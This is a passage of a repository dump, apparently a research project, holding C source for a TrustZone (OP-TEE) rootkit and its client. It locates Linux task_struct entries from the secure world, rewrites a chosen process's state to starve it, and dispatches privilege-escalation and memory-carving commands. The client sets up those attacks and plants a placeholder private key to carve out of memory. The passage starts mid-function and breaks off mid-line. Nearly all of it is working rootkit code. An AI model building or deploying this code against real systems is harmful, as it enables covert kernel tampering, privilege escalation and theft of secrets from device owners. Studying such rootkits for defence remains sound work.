*state_vaddr = state_page_vaddr + task_struct_state_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (state_page - current_task_page - PAGE_SIZE); 95 | *((uint64_t *)state_vaddr) = new_state; 96 | free_page(state_mobj); 97 | return true; 98 | } 99 | 100 | paddr_t tasks_page = (current_task + task_struct_tasks_offset) & ~PAGE_MASK; 101 | struct mobj *tasks_mobj = load_page(tasks_page); 102 | if (!tasks_mobj) 103 | return false; 104 | 105 | uint8_t *tasks_page_vaddr = mobj_get_va(tasks_mobj, 0); 106 | uint8_t *tasks_vaddr = tasks_page_vaddr + task_struct_tasks_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (tasks_page - current_task_page - PAGE_SIZE); 107 | current_task = (*va_to_pa)(*((uint64_t *)(tasks_vaddr)) - task_struct_tasks_offset, virtual_address_offset); 108 | free_page(tasks_mobj); 109 | 110 | first = false; 111 | } 112 | return false; 113 | } 114 | 115 | 116 | TEE_Result change_task_state(uint32_t param_types, TEE_Param params[TEE_NUM_PARAMS]) 117 | { 118 | uint32_t exp_param_types = TEE_PARAM_TYPES(TEE_PARAM_TYPE_VALUE_INPUT, 119 | TEE_PARAM_TYPE_VALUE_INPUT, 120 | TEE_PARAM_TYPE_NONE, 121 | TEE_PARAM_TYPE_NONE); 122 | if (param_types != exp_param_types) 123 | return TEE_ERROR_BAD_PARAMETERS; 124 | 125 | pid_t target_pid = params[0].value.a; 126 | long new_state = params[1].value.a; 127 | 128 | paddr_t uefi_header_addr = find_kernel_entrypoint(); 129 | IMSG("uefi header address: %p\n", (void *)uefi_header_addr); 130 | if (uefi_header_addr == ERROR_ADDR) 131 | return TEE_ERROR_GENERIC; 132 | 133 | paddr_t init_task_name_addr = find_init_task_name(uefi_header_addr); 134 | IMSG("init_task name address: %p\n", (void *)init_task_name_addr); 135 | if (init_task_name_addr == ERROR_ADDR) 136 | return TEE_ERROR_GENERIC; 137 | 138 | paddr_t init_task_start = find_init_task_struct_signature(init_task_name_addr); 139 | IMSG("init_task start address: %p\n", (void *)init_task_start); 140 | if (init_task_start == ERROR_ADDR) 141 | return TEE_ERROR_GENERIC; 142 | 143 | paddr_t task_struct_name_offset = init_task_name_addr - init_task_start; 144 | IMSG("task_struct.comm offset: %lx\n", task_struct_name_offset); 145 | if (task_struct_name_offset == ERROR_ADDR) 146 | return TEE_ERROR_GENERIC; 147 | 148 | paddr_t virtual_address_offset = find_virtual_offset(init_task_start); 149 | IMSG("kernel virtual address offset (kimage_voffset): %lx\n", virtual_address_offset); 150 | if (virtual_address_offset == ERROR_ADDR) 151 | return TEE_ERROR_GENERIC; 152 | 153 | address_translation_function va_to_pa = NULL; 154 | paddr_t task_struct_tasks_offset = ERROR_ADDR; 155 | for (int i = 0; i < NUM_TRANSLATION_FUNCTIONS && task_struct_tasks_offset == ERROR_ADDR; i++) 156 | { 157 | va_to_pa = available_translation_functions[i]; 158 | task_struct_tasks_offset = find_task_struct_tasks_offset(init_task_start, task_struct_name_offset, virtual_address_offset, va_to_pa); 159 | } 160 | IMSG("task_struct.tasks offset: %lx\n", task_struct_tasks_offset); 161 | if (task_struct_tasks_offset == ERROR_ADDR) 162 | return TEE_ERROR_GENERIC; 163 | 164 | paddr_t task_struct_pid_offset = find_task_struct_pid_offset(init_task_start, task_struct_tasks_offset, virtual_address_offset, va_to_pa); 165 | IMSG("task_struct.pid offset: %lx\n", task_struct_pid_offset); 166 | if (task_struct_pid_offset == ERROR_ADDR) 167 | return TEE_ERROR_GENERIC; 168 | 169 | paddr_t task_struct_state_offset = find_task_struct_state_offset(init_task_start, task_struct_tasks_offset, virtual_address_offset, va_to_pa); 170 | IMSG("task_struct.state offsets: %lx\n", task_struct_state_offset); 171 | if (task_struct_state_offset == ERROR_ADDR) 172 | return TEE_ERROR_GENERIC; 173 | 174 | IMSG("tasks:\n"); 175 | print_tasks(init_task_start, task_struct_tasks_offset, task_struct_name_offset, task_struct_pid_offset, virtual_address_offset, va_to_pa); 176 | 177 | IMSG("changing state of pid %d\n", target_pid); 178 | bool state_change_successful = change_task_struct_state(target_pid, init_task_start, task_struct_tasks_offset, 179 | task_struct_pid_offset, task_struct_state_offset, 180 | virtual_address_offset, va_to_pa, new_state); 181 | if (state_change_successful) 182 | { 183 | IMSG("changed state\n"); 184 | return TEE_SUCCESS; 185 | } 186 | else 187 | { 188 | IMSG("could not change state\n"); 189 | return TEE_ERROR_GENERIC; 190 | } 191 | } 192 | -------------------------------------------------------------------------------- /src/rootkit/commands/task_state_manipulation.h: -------------------------------------------------------------------------------- 1 | #ifndef ROOTKIT_COMMANDS_PROCESS_STARVATION_H 2 | #define ROOTKIT_COMMANDS_PROCESS_STARVATION_H 3 | 4 | #include 5 | 6 | 7 | TEE_Result change_task_state(uint32_t param_types, TEE_Param params[TEE_NUM_PARAMS]); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /src/rootkit/linux.c: -------------------------------------------------------------------------------- 1 | #include "linux.h" 2 | 3 | 4 | const uint64_t STATE_MAPPING[NUM_COUNTED_STATES] = { 5 | 0x0, // TASK_RUNNING 6 | 0x1, // TASK_INTERRUPTIBLE 7 | }; 8 | 9 | const uint8_t TASK_STRUCT_SIGNATURE[TASK_STRUCT_NUM_SIGNATURES][TASK_STRUCT_SIGNATURE_LENGTH] = { 10 | { 11 | 0x00, 0x00, 0x00, 0x00, // unused bits of flags field 12 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // addr_limit default value 13 | 0x01, 0x00, 0x00, 0x00, // count (?) 14 | 0x01, 0x00, 0x00, 0x00 // need_resched 15 | }, 16 | { 17 | 0x00, 0x00, 0x00, 0x00, // unused bits of flags field 18 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // addr_limit default value 19 | 0x02, 0x00, 0x00, 0x00, // count (?) 20 | 0x01, 0x00, 0x00, 0x00 // need_resched 21 | }, 22 | // v4.20 23 | { 24 | 0x00, 0x00, 0x00, 0x00, 25 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 26 | 0x02, 0x00, 0x00, 0x00, 27 | 0x00, 0x00, 0x00, 0x00 28 | } 29 | }; 30 | -------------------------------------------------------------------------------- /src/rootkit/linux.h: -------------------------------------------------------------------------------- 1 | #ifndef ROOTKIT_LINUX_H 2 | #define ROOTKIT_LINUX_H 3 | 4 | #include 5 | 6 | #define UEFI_HEADER_VALUE 0x91005a4d 7 | #define NS_IMAGE_OFFSET 0x40000000ul 8 | 9 | #define TASK_COMM_LEN 16 10 | #define INIT_TASK_COMM "swapper/0" 11 | 12 | #define TASK_STRUCT_NUM_SIGNATURES 3 13 | #define TASK_STRUCT_SIGNATURE_LENGTH 20 14 | #define TASK_STRUCT_SIGNATURE_OFFSET 4 15 | extern const uint8_t TASK_STRUCT_SIGNATURE[TASK_STRUCT_NUM_SIGNATURES][TASK_STRUCT_SIGNATURE_LENGTH]; 16 | 17 | #define NUM_CREDS 2 18 | 19 | #define NUM_COUNTED_STATES 2 20 | #define MIN_STATE_OCCURRENCES 3 21 | extern const uint64_t STATE_MAPPING[NUM_COUNTED_STATES]; 22 | 23 | typedef int pid_t; 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /src/rootkit/memory.c: -------------------------------------------------------------------------------- 1 | #include "memory.h" 2 | 3 | 4 | // linux memory.h 5 | #define PHYS_OFFSET 0x40000000ul 6 | #define PHYSVIRT_OFFSET 0x0001000040000000ul 7 | #define VA_BITS 48 8 | #define VA_MASK ((~0ul << VA_BITS)) 9 | 10 | #define __is_lm_address_middle(addr) (!!((addr) & BIT64(VA_BITS - 1))) // up to v5.4 11 | #define __lm_to_phys_middle(addr) (((addr) & ~PAGE_OFFSET) + PHYS_OFFSET) // up to v5.4 12 | 13 | #define __is_lm_address_bottom(addr) (!(((uint64_t)addr) & BIT64(VA_BITS - 1))) 14 | #define __lm_to_phys_bottom_physvirt(addr) (((addr) + PHYSVIRT_OFFSET)) 15 | #define __lm_to_phys_bottom_phys(addr) (((addr) & ~PAGE_OFFSET) + PHYS_OFFSET) 16 | 17 | #define __kimg_to_phys(addr, kimage_voffset) ((addr) - kimage_voffset) 18 | 19 | 20 | paddr_t va_to_pa_middle(paddr_t va, paddr_t kimage_voffset); 21 | paddr_t va_to_pa_bottom_physvirt(paddr_t va, paddr_t kimage_voffset); 22 | 23 | 24 | // This is a workaround for mapping multiple pages, 25 | // mobj_mapped_shm_alloc with num_pages > 1 is broken 26 | int load_pages(paddr_t addr, uint32_t num_pages, struct mobj **mobjs) 27 | { 28 | int result = 0; 29 | paddr_t page_ptr; 30 | struct mobj *mobj; 31 | for (uint32_t i = 0; i < num_pages; i++) 32 | { 33 | page_ptr = (addr & ~PAGE_MASK) + (i * PAGE_SIZE); 34 | mobj = mobj_mapped_shm_alloc(&page_ptr, 1, 0, 0); 35 | if (mobj) 36 | result++; 37 | mobjs[i] = mobj; 38 | } 39 | return result; 40 | } 41 | 42 | 43 | void free_pages(struct mobj **mobjs, uint32_t num_pages) 44 | { 45 | for (uint32_t i = 0; i < num_pages; i++) 46 | { 47 | struct mobj *mobj = mobjs[i]; 48 | mobj_dec_map(mobj); 49 | mobj_put(mobj); 50 | } 51 | } 52 | 53 | 54 | void mobjs_get_vas(struct mobj **mobjs, uint32_t num_pages, uint64_t **vaddrs) 55 | { 56 | for (uint32_t i = 0; i < num_pages; i++) 57 | vaddrs[i] = mobj_get_va(mobjs[i], 0); 58 | } 59 | 60 | 61 | struct mobj *load_page(paddr_t addr) 62 | { 63 | paddr_t page_ptr; 64 | struct mobj *mobj = NULL; 65 | 66 | page_ptr = addr & ~PAGE_MASK; 67 | 68 | mobj = mobj_mapped_shm_alloc(&page_ptr, 1, 0, 0); 69 | if (!mobj) 70 | return NULL; 71 | 72 | return mobj; 73 | } 74 | 75 | 76 | void free_page(struct mobj *mobj) 77 | { 78 | mobj_dec_map(mobj); 79 | mobj_put(mobj); 80 | } 81 | 82 | 83 | bool is_empty_page(uint8_t *addr) 84 | { 85 | for(size_t i = 0; i < PAGE_SIZE; i++) 86 | if (*(addr + i) != 0) 87 | return false; 88 | return true; 89 | } 90 | 91 | 92 | bool is_va(paddr_t addr) 93 | { 94 | return (addr & VA_MASK) == VA_MASK && addr != ~0ul; 95 | } 96 | 97 | 98 | // up to v5.4 99 | paddr_t va_to_pa_middle(paddr_t va, paddr_t kimage_voffset) 100 | { 101 | if (__is_lm_address_middle(va)) 102 | return __lm_to_phys_middle(va); 103 | return __kimg_to_phys(va, kimage_voffset); 104 | } 105 | 106 | 107 | // v5.5, v5.6 108 | paddr_t va_to_pa_bottom_physvirt(paddr_t va, paddr_t kimage_voffset) 109 | { 110 | if (__is_lm_address_bottom(va)) 111 | return __lm_to_phys_bottom_physvirt(va); 112 | return __kimg_to_phys(va, kimage_voffset); 113 | } 114 | 115 | 116 | const address_translation_function available_translation_functions[] = {&va_to_pa_middle, &va_to_pa_bottom_physvirt}; 117 | -------------------------------------------------------------------------------- /src/rootkit/memory.h: -------------------------------------------------------------------------------- 1 | #ifndef ROOTKIT_MEMORY_H 2 | #define ROOTKIT_MEMORY_H 3 | 4 | #include 5 | #include 6 | 7 | 8 | #define PAGE_OFFSET 0xffff800000000000ul 9 | 10 | // only valid when using 4k pages 11 | #define PAGE_SIZE SMALL_PAGE_SIZE 12 | #define PAGE_MASK SMALL_PAGE_MASK 13 | #define PAGE_OFFSET_MASK 0x0fff 14 | 15 | #define NULL_PADDR 0ul 16 | #define ERROR_ADDR (-1ull) 17 | #define NUM_TRANSLATION_FUNCTIONS 2 18 | 19 | int load_pages(paddr_t addr, uint32_t num_pages, struct mobj **mobjs); 20 | void free_pages(struct mobj **mobjs, uint32_t num_pages); 21 | void mobjs_get_vas(struct mobj **mobjs, uint32_t num_pages, uint64_t **vaddrs); 22 | struct mobj *load_page(paddr_t addr); 23 | void free_page(struct mobj *mobj); 24 | bool is_empty_page(uint8_t *addr); 25 | bool is_va(paddr_t addr); 26 | 27 | typedef paddr_t (*address_translation_function)(paddr_t, paddr_t); 28 | extern const address_translation_function available_translation_functions[NUM_TRANSLATION_FUNCTIONS]; 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /src/rootkit/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "rootkit_pta.h" 5 | 6 | #include "commands/memory_carving.h" 7 | #include "commands/privilege_escalation.h" 8 | #include "commands/task_state_manipulation.h" 9 | 10 | 11 | static TEE_Result invoke_command(void *psess __unused, 12 | uint32_t cmd, uint32_t ptypes, 13 | TEE_Param params[TEE_NUM_PARAMS]) 14 | { 15 | TEE_Result result; 16 | switch (cmd) { 17 | case ELEVATE_PRIVILEGES: 18 | IMSG("ELEVATE_PRIVILEGES: before\n"); 19 | result = elevate_privileges(ptypes, params); 20 | IMSG("ELEVATE_PRIVILEGES: after\n"); 21 | break; 22 | case MEMORY_CARVING: 23 | IMSG("MEMORY_CARVING: before\n"); 24 | result = memory_carving(ptypes, params); 25 | IMSG("MEMORY_CARVING: after\n"); 26 | break; 27 | case CHANGE_TASK_STATE: 28 | IMSG("CHANGE_TASK_STATE: before\n"); 29 | result = change_task_state(ptypes, params); 30 | IMSG("CHANGE_TASK_STATE: after\n"); 31 | break; 32 | default: 33 | result = TEE_ERROR_BAD_PARAMETERS; 34 | } 35 | return result; 36 | } 37 | 38 | 39 | pseudo_ta_register(.uuid = ROOTKIT_TA_UUID, .name = TA_NAME, 40 | .flags = PTA_DEFAULT_FLAGS, 41 | .invoke_command_entry_point = invoke_command); 42 | -------------------------------------------------------------------------------- /src/rootkit/rootkit_pta.h: -------------------------------------------------------------------------------- 1 | #define TA_NAME "rootkit.ta" 2 | 3 | // Randomly generated UUID for the TA. 4 | // Must be known to normal world client applications. 5 | #define ROOTKIT_TA_UUID \ 6 | { 0x90998449, 0xb9e7, 0x483b, \ 7 | { 0x96, 0x1c, 0x25, 0x1f, 0x2a, 0x3f, 0x50, 0xe5 } } 8 | 9 | // TA commands 10 | #define ELEVATE_PRIVILEGES 0 11 | #define MEMORY_CARVING 1 12 | #define CHANGE_TASK_STATE 2 13 | -------------------------------------------------------------------------------- /src/rootkit/sub.mk: -------------------------------------------------------------------------------- 1 | srcs-y += linux.c 2 | srcs-y += memory.c 3 | srcs-y += rootkit.c 4 | srcs-y += utils.c 5 | 6 | subdirs-y += commands 7 | -------------------------------------------------------------------------------- /src/rootkit/utils.c: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | 3 | 4 | // Arm Architecture Reference Manual: C6.2.26 5 | // https://github.com/aquynh/capstone/blob/0dc008920f8345274b4a596f9a1bbe703d083123/arch/AArch64/AArch64Disassembler.c#L1591-L1605 6 | uint32_t extract_unconditional_branch_immediate(uint32_t instruction) 7 | { 8 | uint32_t imm = (instruction & ((1 << 26) - 1)); 9 | if (imm & (1 << (26 - 1))) 10 | imm |= ~((1LL << 26) - 1); 11 | return imm * 4; 12 | } 13 | 14 | 15 | void *find(void const *haystack, size_t haystack_size, void const *needle, size_t needle_size) 16 | { 17 | for (size_t i = 0; (i + needle_size - 1) < haystack_size; i++) 18 | { 19 | bool found = true; 20 | for (size_t j = 0; j < needle_size && found; j++) 21 | { 22 | if (((uint8_t *)haystack)[i + j] != ((uint8_t *)needle)[j]) 23 | found = false; 24 | } 25 | if (found) 26 | return ((uint8_t *)haystack) + i; 27 | } 28 | return NULL; 29 | } 30 | 31 | 32 | void *find_va_from_pa(void const *haystack, size_t haystack_size, size_t offset, paddr_t pa) 33 | { 34 | for (int i = offset; (i + sizeof(uint64_t) - 1) < haystack_size; i += sizeof(uint64_t)) 35 | { 36 | uint64_t value = *((uint64_t *)((uint8_t *)haystack + i)); 37 | if (is_va(value)) 38 | { 39 | if ((value & PAGE_OFFSET_MASK) == (pa & PAGE_OFFSET_MASK)) 40 | return (uint8_t *)haystack + i; 41 | } 42 | } 43 | return NULL; 44 | } 45 | 46 | 47 | void *find_va(void const *haystack, size_t haystack_size, size_t offset) 48 | { 49 | for (int i = offset; (i + sizeof(uint64_t) - 1) < haystack_size; i += sizeof(uint64_t)) 50 | { 51 | uint64_t value = *((uint64_t *)((uint8_t *)haystack + i)); 52 | if (is_va(value)) 53 | return (uint8_t *)haystack + i; 54 | } 55 | return NULL; 56 | } 57 | 58 | 59 | void *find_reverse_from(void const *haystack, size_t offset, void const *needle, size_t needle_size) 60 | { 61 | for (int i = offset - needle_size + 1; i >= 0; i--) 62 | { 63 | bool found = true; 64 | for (size_t j = 0; j < needle_size && found; j++) 65 | { 66 | if (((uint8_t *)haystack)[i + j] != ((uint8_t *)needle)[j]) 67 | found = false; 68 | } 69 | if (found) 70 | return ((uint8_t *)haystack) + i; 71 | } 72 | return NULL; 73 | } 74 | 75 | 76 | size_t count_gw(void *haystack, size_t haystack_size, size_t offset, uint64_t needle) 77 | { 78 | size_t c = 0; 79 | for (size_t i = offset / sizeof(needle); i < haystack_size / sizeof(needle); i++) 80 | { 81 | if (((uint64_t *)haystack)[i] == needle) 82 | c++; 83 | } 84 | return c; 85 | } 86 | 87 | 88 | size_t find_gw_offsets(void const *haystack, size_t haystack_size, size_t offset, uint64_t needle, paddr_t offsets[], size_t max_offsets) 89 | { 90 | size_t c = 0; 91 | for (size_t i = offset / sizeof(needle); i < haystack_size / sizeof(needle) && c < max_offsets; i++) 92 | { 93 | if (((uint64_t *)haystack)[i] == needle) 94 | { 95 | offsets[c++] = i * sizeof(needle); 96 | } 97 | } 98 | return c; 99 | } 100 | 101 | 102 | size_t count_values(uint64_t *array, size_t size) 103 | { 104 | for (size_t i = 0; i < size; i++) 105 | { 106 | if (array[i] == 0) 107 | return i; 108 | } 109 | return size; 110 | } 111 | 112 | 113 | // Return true if value was added, otherwise false 114 | bool add_unique_value(uint64_t *array, size_t size, uint64_t value) 115 | { 116 | for (size_t i = 0; i < size; i++) 117 | { 118 | if (array[i] == value) 119 | return false; 120 | if (array[i] == 0) 121 | { 122 | array[i] = value; 123 | return true; 124 | } 125 | } 126 | return false; 127 | } 128 | 129 | 130 | void reset_task_state_counter(uint32_t counter[NUM_COUNTED_STATES]) 131 | { 132 | memset(counter, 0, sizeof(uint32_t) * NUM_COUNTED_STATES); 133 | } 134 | 135 | 136 | void count_task_state(uint64_t state, uint32_t counter[NUM_COUNTED_STATES]) 137 | { 138 | for (int i = 0; i < NUM_COUNTED_STATES; i++) 139 | { 140 | if (STATE_MAPPING[i] == state) 141 | { 142 | counter[i]++; 143 | return; 144 | } 145 | } 146 | } 147 | 148 | 149 | bool task_state_count_valid(uint32_t counter[NUM_COUNTED_STATES]) 150 | { 151 | for (int i = 0; i < NUM_COUNTED_STATES; i++) 152 | { 153 | if (counter[i] < MIN_STATE_OCCURRENCES) 154 | return false; 155 | } 156 | return true; 157 | } 158 | 159 | 160 | void print_tasks(paddr_t init_task_start, paddr_t task_struct_tasks_offset, paddr_t task_struct_name_offset, paddr_t task_struct_pid_offset, paddr_t virtual_address_offset, address_translation_function va_to_pa) 161 | { 162 | paddr_t current_task = init_task_start; 163 | bool first = true; 164 | while(first || current_task != init_task_start) 165 | { 166 | first = false; 167 | 168 | paddr_t current_task_page = current_task & ~PAGE_MASK; 169 | 170 | paddr_t pid_page = (current_task + task_struct_pid_offset) & ~PAGE_MASK; 171 | struct mobj *pid_mobj = load_page(pid_page); 172 | if (!pid_mobj) 173 | break; 174 | 175 | uint8_t *pid_page_vaddr = mobj_get_va(pid_mobj, 0); 176 | pid_t *pid_vaddr = (pid_t *)(pid_page_vaddr + task_struct_pid_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (pid_page - current_task_page - PAGE_SIZE)); 177 | pid_t pid = *pid_vaddr; 178 | free_page(pid_mobj); 179 | 180 | paddr_t name_page = (current_task + task_struct_name_offset) & ~PAGE_MASK; 181 | struct mobj *name_mobj = load_page(name_page); 182 | if (!name_mobj) 183 | break; 184 | 185 | uint8_t *name_page_vaddr = mobj_get_va(name_mobj, 0); 186 | uint8_t *name_vaddr = name_page_vaddr + task_struct_name_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (name_page - current_task_page - PAGE_SIZE); 187 | IMSG("\t%p %d %s\n", (void *)current_task, pid, (char *)name_vaddr); 188 | free_page(name_mobj); 189 | 190 | paddr_t tasks_page = (current_task + task_struct_tasks_offset) & ~PAGE_MASK; 191 | struct mobj *tasks_mobj = load_page(tasks_page); 192 | if (!tasks_mobj) 193 | break; 194 | 195 | uint8_t *tasks_page_vaddr = mobj_get_va(tasks_mobj, 0); 196 | uint8_t *tasks_vaddr = tasks_page_vaddr + task_struct_tasks_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (tasks_page - current_task_page - PAGE_SIZE); 197 | current_task = (*va_to_pa)(*((uint64_t *)(tasks_vaddr)) - task_struct_tasks_offset, virtual_address_offset); 198 | free_page(tasks_mobj); 199 | } 200 | } 201 | -------------------------------------------------------------------------------- /src/rootkit/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef ROOTKIT_UTILS_H 2 | #define ROOTKIT_UTILS_H 3 | 4 | #include "linux.h" 5 | #include "memory.h" 6 | 7 | uint32_t extract_unconditional_branch_immediate(uint32_t instruction); 8 | void *find(void const *haystack, size_t haystack_size, void const *needle, size_t needle_size); 9 | void *find_va_from_pa(void const *haystack, size_t haystack_size, size_t offset, paddr_t pa); 10 | void *find_va(void const *haystack, size_t haystack_size, size_t offset); 11 | void *find_reverse_from(void const *haystack, size_t offset, void const *needle, size_t needle_size); 12 | size_t count_gw(void *haystack, size_t haystack_size, size_t offset, uint64_t needle); 13 | size_t find_gw_offsets(void const *haystack, size_t haystack_size, size_t offset, uint64_t needle, paddr_t offsets[], size_t max_offsets); 14 | size_t count_values(uint64_t *array, size_t size); 15 | // Return true if value was added, otherwise false 16 | bool add_unique_value(uint64_t *array, size_t size, uint64_t value); 17 | void reset_task_state_counter(uint32_t counter[NUM_COUNTED_STATES]); 18 | void count_task_state(uint64_t state, uint32_t counter[NUM_COUNTED_STATES]); 19 | bool task_state_count_valid(uint32_t counter[NUM_COUNTED_STATES]); 20 | void print_tasks(paddr_t init_task_start, paddr_t task_struct_tasks_offset, paddr_t task_struct_name_offset, 21 | paddr_t task_struct_pid_offset, paddr_t virtual_address_offset, address_translation_function va_to_pa); 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /src/rootkit_client/Android.mk: -------------------------------------------------------------------------------- 1 | ###################### optee-memory ###################### 2 | LOCAL_PATH := $(call my-dir) 3 | 4 | OPTEE_CLIENT_EXPORT = $(LOCAL_PATH)/../../optee_client/out/export 5 | 6 | include $(CLEAR_VARS) 7 | LOCAL_CFLAGS += -DANDROID_BUILD 8 | LOCAL_CFLAGS += -Wall 9 | 10 | LOCAL_SRC_FILES += host/main.c 11 | 12 | LOCAL_C_INCLUDES := $(OPTEE_CLIENT_EXPORT)/include \ 13 | 14 | LOCAL_SHARED_LIBRARIES := libteec 15 | LOCAL_MODULE := optee_example_memory 16 | LOCAL_MODULE_TAGS := optional 17 | include $(BUILD_EXECUTABLE) 18 | -------------------------------------------------------------------------------- /src/rootkit_client/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | project (rootkit C) 2 | 3 | set (SRC host/main.c) 4 | 5 | add_executable (${PROJECT_NAME} ${SRC}) 6 | 7 | target_include_directories(${PROJECT_NAME} 8 | PRIVATE include) 9 | 10 | target_link_libraries (${PROJECT_NAME} PRIVATE teec) 11 | 12 | install (TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_BINDIR}) 13 | -------------------------------------------------------------------------------- /src/rootkit_client/Makefile: -------------------------------------------------------------------------------- 1 | export V?=0 2 | 3 | # If _HOST specific compiler is not specified, then use CROSS_COMPILE 4 | HOST_CROSS_COMPILE ?= $(CROSS_COMPILE) 5 | 6 | .PHONY: all 7 | all: 8 | $(MAKE) -C host CROSS_COMPILE="$(HOST_CROSS_COMPILE)" 9 | 10 | .PHONY: clean 11 | clean: 12 | $(MAKE) -C host clean 13 | -------------------------------------------------------------------------------- /src/rootkit_client/host/Makefile: -------------------------------------------------------------------------------- 1 | CC = $(CROSS_COMPILE)gcc 2 | LD = $(CROSS_COMPILE)ld 3 | AR = $(CROSS_COMPILE)ar 4 | NM = $(CROSS_COMPILE)nm 5 | OBJCOPY = $(CROSS_COMPILE)objcopy 6 | OBJDUMP = $(CROSS_COMPILE)objdump 7 | READELF = $(CROSS_COMPILE)readelf 8 | 9 | OBJS = main.o 10 | 11 | CFLAGS += -Wall -I$(TEEC_EXPORT)/include -I./include 12 | #Add/link other required libraries here 13 | LDADD += -lteec -L$(TEEC_EXPORT)/lib 14 | 15 | BINARY = optee_example_rootkit 16 | 17 | .PHONY: all 18 | all: $(BINARY) 19 | 20 | $(BINARY): $(OBJS) 21 | $(CC) -o $@ $< $(LDADD) 22 | 23 | .PHONY: clean 24 | clean: 25 | rm -f $(OBJS) $(BINARY) 26 | 27 | %.o: %.c 28 | $(CC) $(CFLAGS) -c $< -o $@ 29 | -------------------------------------------------------------------------------- /src/rootkit_client/host/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | // Must match rootkit TA configuration, see rootkit_pta.h 12 | #define ROOTKIT_TA_UUID \ 13 | { 0x90998449, 0xb9e7, 0x483b, \ 14 | { 0x96, 0x1c, 0x25, 0x1f, 0x2a, 0x3f, 0x50, 0xe5 } } 15 | #define ELEVATE_PRIVILEGES 0 16 | #define MEMORY_CARVING 1 17 | #define CHANGE_TASK_STATE 2 18 | 19 | // include/linux/sched.h 20 | #define TASK_DEAD 0x0080 21 | #define EXIT_ZOMBIE 0x0020 22 | 23 | 24 | char key[] = "-----BEGIN RSA PRIVATE KEY----- user-test-key -----END RSA PRIVATE KEY-----"; 25 | 26 | 27 | void elevate_privileges() 28 | { 29 | pid_t cpid = fork(); 30 | if (cpid) 31 | { 32 | TEEC_Result res; 33 | TEEC_Context ctx; 34 | TEEC_Session sess; 35 | TEEC_Operation op; 36 | TEEC_UUID uuid = ROOTKIT_TA_UUID; 37 | uint32_t err_origin; 38 | pid_t ppid = getppid(); 39 | 40 | printf("ppid: %d\n", ppid); 41 | printf("cpid: %d\n", cpid); 42 | 43 | res = TEEC_InitializeContext(NULL, &ctx); 44 | if (res != TEEC_SUCCESS) 45 | errx(1, "TEEC_InitializeContext failed with code 0x%x", res); 46 | 47 | res = TEEC_OpenSession(&ctx, &sess, &uuid, 48 | TEEC_LOGIN_PUBLIC, NULL, NULL, &err_origin); 49 | if (res != TEEC_SUCCESS) 50 | errx(1, "TEEC_Opensession failed with code 0x%x origin 0x%x", res, err_origin); 51 | 52 | memset(&op, 0, sizeof(TEEC_Operation)); 53 | op.params[0].value.a = ppid; 54 | op.params[1].value.a = cpid; 55 | op.paramTypes = TEEC_PARAM_TYPES(TEEC_VALUE_INPUT, TEEC_VALUE_INPUT, TEEC_NONE, TEEC_NONE); 56 | 57 | res = TEEC_InvokeCommand(&sess, ELEVATE_PRIVILEGES, &op, &err_origin); 58 | if (res != TEEC_SUCCESS) 59 | warnx(1, "TEEC_InvokeCommand ELEVATE_PRIVILEGES failed with code 0x%x origin 0x%x", res, err_origin); 60 | 61 | kill(cpid, SIGKILL); 62 | 63 | TEEC_CloseSession(&sess); 64 | TEEC_FinalizeContext(&ctx); 65 | } 66 | else 67 | { 68 | // Use access syscall to trigger difference between task_struct.cred and task_struct.real_cred 69 | while (1) 70 | access("/tmp/ro", S_IWOTH); 71 | } 72 | } 73 | 74 | 75 | void print_file_mtime(char const *const filename) 76 | { 77 | struct stat buf; 78 | int result = stat(filename, &buf); 79 | if (result == 0) 80 | printf("st_mtime: %lu\n", buf.st_mtime); 81 | } 82 | 83 | 84 | void monitor_file_mtime(char const *const filename, const uint16_t num_attempts, const unsigned int usleep_interval) 85 | { 86 | for (uint16_t i = 0; i < num_attempts; i++) 87 | { 88 | print_file_mtime(filename); 89 | usleep(usleep_interval); 90 | } 91 | } 92 | 93 | 94 | void print_process_status(pid_t pid) 95 | { 96 | char buffer[64]; 97 | snprintf(buffer, 64, "head -n3 /proc/%d/status | tail -n1 | cut -f2", pid); 98 | system(buffer); 99 | } 100 | 101 | 102 | void starve_task() 103 | { 104 | const uint8_t NUM_STARVATION_CHECKS = 10; 105 | 106 | pid_t cpid = fork(); 107 | if (cpid) 108 | { 109 | TEEC_Result res; 110 | TEEC_Context ctx; 111 | TEEC_Session sess; 112 | TEEC_Operation op; 113 | TEEC_UUID uuid = ROOTKIT_TA_UUID; 114 | uint32_t err_origin; 115 | 116 | printf("cpid: %d\n", cpid); 117 | 118 | res = TEEC_InitializeContext(NULL, &ctx); 119 | if (res != TEEC_SUCCESS) 120 | errx(1, "TEEC_InitializeContext failed with code 0x%x", res); 121 | 122 | res = TEEC_OpenSession(&ctx, &sess, &uuid, 123 | TEEC_LOGIN_PUBLIC, NULL, NULL, &err_origin); 124 | if (res != TEEC_SUCCESS) 125 | errx(1, "TEEC_Opensession failed with code 0x%x origin 0x%x", res, err_origin); 126 | 127 | memset(&op, 0, sizeof(TEEC_Operation)); 128 | op.params[0].value.a = cpid; 129 | op.params[1].value.a = EXIT_ZOMBIE; 130 | op.paramTypes = TEEC_PARAM_TYPES(TEEC_VALUE_INPUT, TEEC_VALUE_INPUT, TEEC_NONE, TEEC_NONE); 131 | 132 | printf("before\n"); 133 | monitor_file_mtime("/tmp/starving", NUM_STARVATION_CHECKS, 1000000); 134 | 135 | printf("child status:\n"); 136 | print_process_status(cpid); 137 | 138 | res = TEEC_InvokeCommand(&sess, CHANGE_TASK_STATE, &op, &err_origin); 139 | if (res 